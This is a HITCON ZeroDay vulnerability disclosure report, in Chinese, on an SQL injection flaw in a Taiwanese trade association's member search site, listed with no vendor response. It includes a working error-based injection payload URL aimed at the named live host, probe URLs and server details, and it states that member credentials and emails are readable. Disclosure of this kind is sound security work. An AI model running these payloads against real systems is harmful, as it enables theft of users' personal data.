Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00432
- Vendor: 台灣區xxxxxx同業公會
- Title: 台灣區電機電子工業同業公會 會員資料搜尋系統 資料庫注入漏洞
- Introduction: 該站主要產品搜尋未關閉IIS偵錯詳細訊息功能,且僅有在前端進行使用者輸入篩選,後端可以直接送出資料庫注入之語法
處理狀態
目前狀態
公開
Last Update : 2022/09/04
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/07/05 22:52:33 : 新提交 (由 鄉民 更新此狀態)
- 2022/07/05 22:54:20 : 新提交 (由 鄉民 更新此狀態)
- 2022/07/10 19:17:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/11 17:25:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/11 17:25:11 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/11 17:25:11 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/04 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00432
- 通報者:鄉民
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.teemab2b.com.tw/NewProductList.aspx?product=1%27%29%20AND%207570%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28112%29%2BCHAR%28113%29%2B%28SELECT%20TOP%201%20SUBSTRING%28%28ISNULL%28CAST%28name%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%20FROM%20B2B_App..sysobjects%20WHERE%20xtype%3DCHAR%2885%29%20AND%20ISNULL%28CAST%28name%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20NOT%20IN%20%28SELECT%20TOP%2025%20ISNULL%28CAST%28name%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20B2B_App..sysobjects%20WHERE%20xtype%3DCHAR%2885%29%20ORDER%20BY%20name%29%20ORDER%20BY%20name%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28120%29%2BCHAR%28113%29%2BCHAR%28113%29%29%29%20AND%20%28%27CgMz%27%20LIKE%20%27CgMz
http://www.teemab2b.com.tw/FindPdtCmp.aspx?key=%27%27%27+%27+%27%22&kind=company&pro=company,companyKeyword&culture=zh-TW
http://www.teemab2b.com.tw/FindPdtCmp.aspx?key=%27%27%27+%27+%27%22&kind=company&pro=company,companyKeyword&culture=zh-TW
敘述
web server operating system: Windows 2012 R2 or 8.1
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2008
由於目標伺服器使用IIS Server當作網頁伺服器,且將偵錯訊息設為公開,致使可以使用error-based sql injection來讀出幾乎所有資料庫、資料表、資料等,並且其中含有會員加入時間、會員帳號密碼、會員資訊、個人電子郵件都可以看得到。伺服器似乎已關閉xp_cmdshell等功能,無法執行後門程式。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。